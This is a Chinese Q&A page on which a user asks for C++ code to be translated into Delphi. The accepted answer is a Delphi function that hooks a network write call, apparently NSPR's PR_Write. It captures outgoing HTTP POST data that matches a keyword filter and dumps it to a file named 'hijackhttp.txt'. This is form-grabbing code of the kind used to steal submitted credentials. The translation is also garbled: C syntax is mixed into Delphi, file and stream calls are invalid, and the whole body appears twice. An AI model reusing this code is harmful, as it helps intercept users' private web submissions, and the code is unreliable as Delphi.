谁能帮我把下面C++代码翻译成delphi的呢
答案:1 悬赏:40 手机版
解决时间 2021-03-26 17:14
- 提问者网友：饥饿走向夜
- 2021-03-25 17:52
谁能帮我把下面C++代码翻译成delphi的呢
最佳答案
- 五星知识达人网友：撞了怀
- 2021-03-25 18:45
function My_PR_Write(fd: Pointer; const buf: PAnsiChar; amount: Integer): Integer
var
f: TFileStream;
begin
try
if((amount>20) and isHttpPost(buf) and KeywordFilter(buf)) then
begin
OutputDebugStringA("==================================\n");
OutputDebugStringA((char*)buf);
OutputDebugStringA("==================================\n\n");
f := TFileStream.Create('c:\\hijackhttp.txt', foReadOnly);
try
Move(buf^, PAnsiChar(f.Memory)^, amount);
finally
f.Free;
end;
except
ShowMessage("Bowl===Bowl===Bowl===");
end;
Result := pfPR_Write(fd,buf,amount);
end;
var
f: TFileStream;
begin
try
if((amount>20) and isHttpPost(buf) and KeywordFilter(buf)) then
begin
OutputDebugStringA("==================================\n");
OutputDebugStringA((char*)buf);
OutputDebugStringA("==================================\n\n");
f := TFileStream.Create('c:\\hijackhttp.txt', foReadOnly);
try
Move(buf^, PAnsiChar(f.Memory)^, amount);
finally
f.Free;
end;
except
ShowMessage("Bowl===Bowl===Bowl===");
end;
Result := pfPR_Write(fd,buf,amount);
end;
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息，可以点下面链接进行举报！
大家都在看
推荐资讯